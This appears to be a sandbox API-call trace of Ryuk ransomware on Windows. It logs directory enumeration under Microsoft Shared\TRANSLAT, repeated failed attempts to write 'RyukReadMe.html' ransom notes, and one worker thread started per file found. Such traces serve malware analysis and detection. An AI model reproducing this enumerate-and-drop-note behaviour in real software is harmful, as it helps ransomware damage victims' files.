	[0167.345] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1
	[0167.345] SetLastError (dwErrCode=0x0) 
	[0167.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.346] GetLastError () returned 0x5
	[0167.346] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.346] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.348] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.348] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1
	[0167.348] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4
	[0167.351] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.351] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0
	[0167.351] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.351] SetLastError (dwErrCode=0x0) 
	[0167.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.352] GetLastError () returned 0x5
	[0167.352] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.352] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1
	[0167.352] SetLastError (dwErrCode=0x0) 
	[0167.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.353] GetLastError () returned 0x5
	[0167.353] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.353] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.353] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1
	[0167.353] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8
	[0167.356] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.357] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0
	[0167.357] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.357] SetLastError (dwErrCode=0x0) 
	[0167.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.357] GetLastError () returned 0x5
	[0167.357] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.357] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.358] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1
	[0167.358] SetLastError (dwErrCode=0x0) 
	[0167.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.358] GetLastError () returned 0x5
	[0167.358] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.359] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.359] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1
	[0167.359] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1
	[0167.359] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec
	[0167.362] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.362] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1
	[0167.362] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0
	[0167.365] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.365] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0
	[0167.365] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.365] SetLastError (dwErrCode=0x0) 
	[0167.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.366] GetLastError () returned 0x5
	[0167.366] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.366] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.366] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1
	[0167.366] SetLastError (dwErrCode=0x0) 
	[0167.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.367] GetLastError () returned 0x5
	[0167.367] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.367] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.509] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.509] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1
	[0167.509] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4
	[0167.513] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.513] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0
	[0167.513] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.514] SetLastError (dwErrCode=0x0) 
	[0167.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.514] GetLastError () returned 0x5
	[0167.514] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.514] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.514] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1
	[0167.514] SetLastError (dwErrCode=0x0) 
	[0167.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.515] GetLastError () returned 0x5
	[0167.515] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.515] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.517] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.518] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1
	[0167.518] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x8e, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1
	[0167.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8
	[0167.521] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.521] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x8e, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1
	[0167.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc
	[0167.524] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
